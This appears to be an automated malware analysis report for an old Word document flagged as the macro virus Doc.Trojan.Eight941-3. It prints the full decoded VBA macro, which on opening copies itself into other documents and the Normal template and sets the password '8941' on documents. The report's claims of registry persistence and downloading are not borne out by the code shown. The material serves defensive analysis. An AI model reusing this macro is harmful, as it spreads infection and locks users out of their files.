Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0f43abeb6e40087c…

MALICIOUS

Office (OLE)

34.5 KB Created: 1999-10-20 14:45:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8cdd70f160ed18abe01b45dcacfa3a6c SHA-1: 4ab08c85b704cf2fd8fcb7432bf0fbdaa7b122f6 SHA-256: 0f43abeb6e40087c082b45e5c5209d9966b5856118e254d12695ac60c73f5468
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing a VBA macro. The macro is designed to execute automatically upon opening the document, as indicated by the 'Document_Open' subroutine. It attempts to copy itself to other documents and potentially establish persistence, likely by modifying registry run keys. The macro's obfuscated nature and the presence of the 'Document_Open' event suggest a downloader or dropper functionality.

Heuristics 3

  • ClamAV: Doc.Trojan.Eight941-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Eight941-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2117 bytes
SHA-256: ebab5d5483cf3c96791847c25cb9be95b3c907510b7c2c136e791bae27a05529
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True












'Copy itself to the existed documents and add password
Private Sub Document_Open()
On Error Resume Next
Dim i, j, k As Integer
Dim b, l As Integer

j = -1
For i = 1 To Application.VBE.VBProjects.Count
    If Application.VBE.VBProjects(i).Name = "Normal" Then
        j = i
    End If
    If Not Application.VBE.VBProjects(i).VBComponents(1).CodeModule.Find("Document_Open", 1, 1, 1000, 1000) Then
            If j > 0 Then
                If Application.VBE.VBProjects(j).VBComponents(1).CodeModule.Find("Document_Open", 1, 1, 1000, 1000) = True Then
                    b = Application.VBE.VBProjects(j).VBComponents(1).CodeModule.ProcStartLine("Document_Open", vbext_pk_Proc)
                    l = Application.VBE.VBProjects(j).VBComponents(1).CodeModule.ProcCountLines("Document_Open", vbext_pk_Proc)
                    Application.VBE.VBProjects(i).VBComponents(1).CodeModule.AddFromString Application.VBE.VBProjects(j).VBComponents(1).CodeModule.Lines(b, b + l)
                Else
                    b = Me.VBProject.VBComponents(1).CodeModule.ProcStartLine("Document_Open", vbext_pk_Proc)
                    l = Me.VBProject.VBComponents(1).CodeModule.ProcCountLines("Document_Open", vbext_pk_Proc)
                    Application.VBE.VBProjects(i).VBComponents(1).CodeModule.AddFromString Me.VBProject.VBComponents(1).CodeModule.Lines(b, b + l)
                End If
           End If
    End If
    
          
            Options.AllowFastSave = True
            Options.BackgroundSave = True
            Options.CreateBackup = False
            Options.SavePropertiesPrompt = False
            Options.SaveNormalPrompt = False
            Application.Documents(i).Password = "8941"
'            Application.Documents(i).Save
    
Next i


End Sub